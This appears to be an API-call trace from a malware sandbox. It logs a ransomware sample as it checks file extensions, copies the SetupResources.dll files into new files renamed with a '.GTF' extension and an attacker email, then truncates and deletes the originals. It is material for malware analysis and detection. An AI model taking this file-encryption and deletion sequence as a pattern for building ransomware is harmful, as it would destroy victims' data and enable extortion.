	[0062.624] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.624] lstrlenW (lpString=".zip") returned 4
	[0062.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.624] lstrlenW (lpString=".rar") returned 4
	[0062.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.624] lstrlenW (lpString=".bz2") returned 4
	[0062.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.624] lstrlenW (lpString=".7z") returned 3
	[0062.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.624] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.624] lstrlenW (lpString=".dbf") returned 4
	[0062.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.624] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.624] lstrlenW (lpString=".1cd") returned 4
	[0062.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.624] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.624] lstrlenW (lpString=".jpg") returned 4
	[0062.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.624] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.624] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.624] lstrlenW (lpString=".doc") returned 4
	[0062.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0062.624] lstrlenW (lpString=".docx") returned 5
	[0062.624] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0062.624] lstrlenW (lpString=".pdf") returned 4
	[0062.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0062.624] lstrlenW (lpString=".xls") returned 4
	[0062.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0062.625] lstrlenW (lpString=".xlsx") returned 5
	[0062.625] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0062.625] lstrlenW (lpString=".ppt") returned 4
	[0062.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0062.625] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.625] lstrlenW (lpString=".zip") returned 4
	[0062.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0062.625] lstrlenW (lpString=".rar") returned 4
	[0062.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0062.625] lstrlenW (lpString=".bz2") returned 4
	[0062.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0062.625] lstrlenW (lpString=".7z") returned 3
	[0062.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0062.625] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.625] lstrlenW (lpString=".dbf") returned 4
	[0062.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0062.625] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.625] lstrlenW (lpString=".1cd") returned 4
	[0062.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0062.625] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0062.625] lstrlenW (lpString=".jpg") returned 4
	[0062.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0062.625] Sleep (dwMilliseconds=0x64) 
	[0062.847] lstrcmpiW (lpString1=".MARKER", lpString2=".GTF") returned 1
	[0062.847] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0062.847] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0064.263] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=0) returned 1
	[0064.263] CloseHandle (hObject=0x2ec) returned 1
	[0064.263] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.263] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.263] lstrlenW (lpString=".doc") returned 4
	[0064.263] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0064.263] lstrlenW (lpString=".docx") returned 5
	[0064.263] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0064.263] lstrlenW (lpString=".pdf") returned 4
	[0064.263] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0064.263] lstrlenW (lpString=".xls") returned 4
	[0064.263] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0064.263] lstrlenW (lpString=".xlsx") returned 5
	[0064.263] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0064.263] lstrlenW (lpString=".ppt") returned 4
	[0064.263] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0064.263] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.263] lstrlenW (lpString=".zip") returned 4
	[0064.263] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0064.263] lstrlenW (lpString=".rar") returned 4
	[0064.263] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0064.263] lstrlenW (lpString=".bz2") returned 4
	[0064.263] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0064.263] lstrlenW (lpString=".7z") returned 3
	[0064.264] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0064.264] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.264] lstrlenW (lpString=".dbf") returned 4
	[0064.264] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0064.264] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.264] lstrlenW (lpString=".1cd") returned 4
	[0064.264] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0064.264] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.264] lstrlenW (lpString=".jpg") returned 4
	[0064.264] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0064.264] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.264] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.264] lstrlenW (lpString=".doc") returned 4
	[0064.264] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0064.264] lstrlenW (lpString=".docx") returned 5
	[0064.264] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0064.264] lstrlenW (lpString=".pdf") returned 4
	[0064.264] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0064.264] lstrlenW (lpString=".xls") returned 4
	[0064.264] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0064.264] lstrlenW (lpString=".xlsx") returned 5
	[0064.264] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0064.265] lstrlenW (lpString=".ppt") returned 4
	[0064.265] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0064.265] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.265] lstrlenW (lpString=".zip") returned 4
	[0064.265] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0064.265] lstrlenW (lpString=".rar") returned 4
	[0064.265] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0064.265] lstrlenW (lpString=".bz2") returned 4
	[0064.265] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0064.265] lstrlenW (lpString=".7z") returned 3
	[0064.265] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0064.265] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.265] lstrlenW (lpString=".dbf") returned 4
	[0064.265] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0064.265] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.265] lstrlenW (lpString=".1cd") returned 4
	[0064.265] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0064.265] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0064.265] lstrlenW (lpString=".jpg") returned 4
	[0064.265] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0064.265] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0064.265] lstrlenW (lpString="SetupResources.dll") returned 18
	[0064.265] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0064.411] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=17240) returned 1
	[0064.412] CloseHandle (hObject=0x2f0) returned 1
	[0064.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80
	[0064.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0064.412] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.412] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0064.412] GetLastError () returned 0x0
	[0064.412] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x4358, lpOverlapped=0x0) returned 1
	[0065.127] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x4360, lpOverlapped=0x0) returned 1
	[0065.128] ReadFile (in: hFile=0x2f0, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.128] WriteFile (in: hFile=0x2f4, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0065.128] SetEndOfFile (hFile=0x2f4) returned 1
	[0065.128] CloseHandle (hObject=0x2f4) returned 1
	[0065.129] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.129] SetEndOfFile (hFile=0x2f0) returned 1
	[0065.130] CloseHandle (hObject=0x2f0) returned 1
	[0065.130] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.130] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1
	[0065.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.131] lstrlenW (lpString=".doc") returned 4
	[0065.131] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.131] lstrlenW (lpString=".docx") returned 5
	[0065.131] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.131] lstrlenW (lpString=".pdf") returned 4
	[0065.131] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.131] lstrlenW (lpString=".xls") returned 4
	[0065.131] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.131] lstrlenW (lpString=".xlsx") returned 5
	[0065.131] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.131] lstrlenW (lpString=".ppt") returned 4
	[0065.131] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.131] lstrlenW (lpString=".zip") returned 4
	[0065.131] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.131] lstrlenW (lpString=".rar") returned 4
	[0065.131] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.131] lstrlenW (lpString=".bz2") returned 4
	[0065.131] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.131] lstrlenW (lpString=".7z") returned 3
	[0065.131] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.131] lstrlenW (lpString=".dbf") returned 4
	[0065.131] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.131] lstrlenW (lpString=".1cd") returned 4
	[0065.131] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.131] lstrlenW (lpString=".jpg") returned 4
	[0065.131] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.132] lstrlenW (lpString=".doc") returned 4
	[0065.132] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0065.132] lstrlenW (lpString=".docx") returned 5
	[0065.132] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0065.132] lstrlenW (lpString=".pdf") returned 4
	[0065.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0065.132] lstrlenW (lpString=".xls") returned 4
	[0065.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0065.132] lstrlenW (lpString=".xlsx") returned 5
	[0065.132] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0065.132] lstrlenW (lpString=".ppt") returned 4
	[0065.132] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0065.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.132] lstrlenW (lpString=".zip") returned 4
	[0065.132] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0065.132] lstrlenW (lpString=".rar") returned 4
	[0065.132] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0065.132] lstrlenW (lpString=".bz2") returned 4
	[0065.132] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0065.132] lstrlenW (lpString=".7z") returned 3
	[0065.132] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0065.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.132] lstrlenW (lpString=".dbf") returned 4
	[0065.132] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0065.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.132] lstrlenW (lpString=".1cd") returned 4
	[0065.132] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0065.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45
	[0065.132] lstrlenW (lpString=".jpg") returned 4
	[0065.132] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0065.132] Sleep (dwMilliseconds=0x64) 
	[0066.369] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0066.369] lstrlenW (lpString="SetupResources.dll") returned 18
	[0066.369] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0066.645] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=19288) returned 1
	[0066.645] CloseHandle (hObject=0x32c) returned 1
	[0066.646] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 0x80
	[0066.646] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0066.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0066.646] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.646] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.667] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0066.667] GetLastError () returned 0x0
	[0066.667] ReadFile (in: hFile=0x32c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x4b58, lpOverlapped=0x0) returned 1
	[0066.675] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x4b60, lpOverlapped=0x0) returned 1
	[0066.676] ReadFile (in: hFile=0x32c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.676] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0066.676] SetEndOfFile (hFile=0x2fc) returned 1
	[0066.676] CloseHandle (hObject=0x2fc) returned 1
	[0066.678] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.678] SetEndOfFile (hFile=0x32c) returned 1
	[0066.679] CloseHandle (hObject=0x32c) returned 1
	[0066.679] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.679] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll")) returned 1
	[0066.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.679] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.680] lstrlenW (lpString=".doc") returned 4
	[0066.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString=".docx") returned 5
	[0066.680] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0066.680] lstrlenW (lpString=".pdf") returned 4
	[0066.680] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString=".xls") returned 4
	[0066.680] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString=".xlsx") returned 5
	[0066.680] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0066.680] lstrlenW (lpString=".ppt") returned 4
	[0066.680] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.680] lstrlenW (lpString=".zip") returned 4
	[0066.680] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString=".rar") returned 4
	[0066.680] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString=".bz2") returned 4
	[0066.680] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.680] lstrlenW (lpString=".7z") returned 3
	[0066.680] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.680] lstrlenW (lpString=".dbf") returned 4
	[0066.680] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.680] lstrlenW (lpString=".1cd") returned 4
	[0066.680] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.680] lstrlenW (lpString=".jpg") returned 4
	[0066.680] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.680] lstrlenW (lpString=".doc") returned 4
	[0066.680] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0066.680] lstrlenW (lpString=".docx") returned 5
	[0066.680] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0066.681] lstrlenW (lpString=".pdf") returned 4
	[0066.681] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0066.681] lstrlenW (lpString=".xls") returned 4
	[0066.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0066.681] lstrlenW (lpString=".xlsx") returned 5
	[0066.681] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0066.681] lstrlenW (lpString=".ppt") returned 4
	[0066.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0066.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.681] lstrlenW (lpString=".zip") returned 4
	[0066.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0066.681] lstrlenW (lpString=".rar") returned 4
	[0066.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0066.681] lstrlenW (lpString=".bz2") returned 4
	[0066.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0066.681] lstrlenW (lpString=".7z") returned 3
	[0066.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0066.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.681] lstrlenW (lpString=".dbf") returned 4
	[0066.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0066.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.681] lstrlenW (lpString=".1cd") returned 4
	[0066.681] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0066.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\SetupResources.dll") returned 45
	[0066.681] lstrlenW (lpString=".jpg") returned 4
	[0066.681] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0066.681] Sleep (dwMilliseconds=0x64) 
	[0067.688] Sleep (dwMilliseconds=0x64) 
	[0068.051] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.051] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.052] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.052] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=16728) returned 1
	[0068.052] CloseHandle (hObject=0x338) returned 1
	[0068.052] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80
	[0068.052] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.052] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0068.053] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.053] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
